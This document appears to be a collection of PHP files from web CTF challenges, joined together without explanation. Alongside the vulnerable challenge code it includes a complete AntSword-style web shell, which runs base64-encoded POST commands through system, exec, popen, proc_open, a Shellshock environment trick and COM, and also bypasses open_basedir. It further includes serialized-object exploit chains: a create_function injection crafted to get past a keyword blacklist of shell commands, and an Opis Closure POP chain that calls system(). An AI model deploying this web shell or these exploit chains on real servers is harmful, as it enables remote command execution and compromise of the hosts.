<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}

if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}

<?php
include 'flag.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.fedd1";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out)
{
    return $out;
}
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "36" . "4f2";
    echo @asenc($output);
    echo "42" . "ff1";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["f861d394170244"], 2));
    $s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
    $envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return function_exists($f) && is_callable($f) && !in_array($f, $d);
    }
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; {$c} >{$tmp} 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print $output;
                return True;
            }
        }
        return False;
    }
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print @shell_exec($c);
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print join("\r\n", $o);
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print @fgets($fp, 2048);
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print @fgets($io[1], 2048);
            }
            while (!@feof($io[2])) {
                print @fgets($io[2], 2048);
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print $ret;
        } else {
            $ret = 127;
        }
        return $ret;
    }
    $ret = @runcmd($r . " 2>&1");
    print $ret != 0 ? "ret={$ret}" : "";
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->insert(['username' => $username]);
        return 'Update success';
    }
}

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;

    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
            die('No!No!No!');
        } else {
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg);
        }
    }

    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
}

$a=new A();
$b=new B();
$b->func="create_function";
$b->arg="}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var=$b;
echo serialize($a);
?>

namespace Control\State;
class StopHook {
    protected $output;
    protected $config = ['auto' => 0];
    protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
    protected $processes;

    public function __destruct() {
        $this->_exit();
    }

    private function _exit() {
        foreach(array_reverse($this->processes) as $process) {
            if (!$process->isRunning) {
                continue;
            }
            $process->stop();
        }
    }
}

<?php
namespace Faker;

class MyGenerator {

    protected $defaultValue;

    public function __call($method, $arg_array) {
        echo $this->defaultCall;
        return $this->defaultCall;
    }

    public function __get($property) {
        return $this->defaultValue;
    }
}

<?php
namespace Method\Func;

class GetFile {

    private $flag = true;
    private $files = [];

    public function __toString() {
        return $this->getFiles();
    }

    public function getFiles() {
        if (!$this->flag) return "denied";
        $s = "";

        if (isset($this->flag->{$this->value})) {
            return "test";
        }

        foreach ($this->files as $file) {
            $s += $file->read();
        }
        return $s;
    }
}

<?php
namespace Method\Func;

class GetDefault {
    private $source;

    public function popup($length) {
        $s = $this->source;
        if ($s->flag != "myTest") {
            return "denied";
        }
        return $s($length);
    }

    public function __isset($property) {
        if ($property != "test") {
            return false;
        }
        return !$this->popup(666);
    }
}

<?php
namespace Method\Func;

class GenerateFile {
    public $flag;
    protected $buffer;

    public function __invoke($param) {
        $this->myGen($param);
    }

    public function myGen($length) {
        $s = $this->buffer->read;
        call_user_func($this->source->generate, $length);
        return $s;
    }
}

<?php
namespace Control\State;
use Faker\MyGenerator;
{
    class StopHook
    {
        protected $output;
        protected $config = ['auto' => 0];
        protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
        protected $processes;

        public function __construct()
        {
            $this->processes=array(new MyGenerator());
        }

        public function __destruct()
        {
            $this->_exit();
        }

        private function _exit()
        {
            foreach (array_reverse($this->processes) as $process) {
                if (!$process->isRunning) {
                    continue;
                }
                $process->stop();
            }
        }
    }
    include("D:\apache\www\安恒月赛\www\closure/autoload.php");#这边似乎不影响，我在本地需要调用这个文件，但是题目已经自动给你包含了，所以问题不大
    $a=new StopHook();
    echo base64_encode(serialize($a));
}

namespace Faker;
use Method\Func\GetFile;
{
    class MyGenerator
    {

        protected $defaultValue;

        public function __construct()#构建对象时被调用
        {
            $this->defaultValue = new GetFile();
        }

        public function __call($method, $arg_array)
        {
            echo $this->defaultCall;
            return $this->defaultCall;
        }

        public function __get($property)
        {
            return $this->defaultValue;
        }
    }
}
namespace Method\Func;
{

    class GetFile
    {

        private $flag = true;
        private $files = [];

        public function __construct()
        {
            $this->flag = new GetDefault();
            $this->value = "test";
        }

        public function __toString()
        {
            return $this->getFiles();
        }

        public function getFiles()
        {
            if (!$this->flag) return "denied";
            $s = "";

            if (isset($this->flag->{$this->value})) {
                return "test";
            }

            foreach ($this->files as $file) {
                $s += $file->read();
            }
            return $s;
        }
    }
    class GetDefault
    {
        private $source;

        public function __construct()
        {

            $this->source = new GenerateFile();
            $this->source->flag = "myTest";
        }

        public function popup($length)
        {
            $s = $this->source;
            if ($s->flag != "myTest") {
                return "denied";
            }
            return $s($length);
        }

        public function __isset($property)
        {
            if ($property != "test") {
                return false;
            }
            return !$this->popup(666);
        }
    }
    class GenerateFile
    {
        public $flag;
        protected $buffer;
        public $source;

        public function __construct()
        {
            $function = function () {
                system("ls");
            };
            $a = \Opis\Closure\serialize($function);
            $b = unserialize($a);
            $this->source->generate = $b;
        }

        public function __invoke($param)
        {
            $this->myGen($param);
        }

        public function myGen($length)
        {
            $s = $this->buffer->read;
            call_user_func($this->source->generate, $length);
            return $s;
        }
    }
    }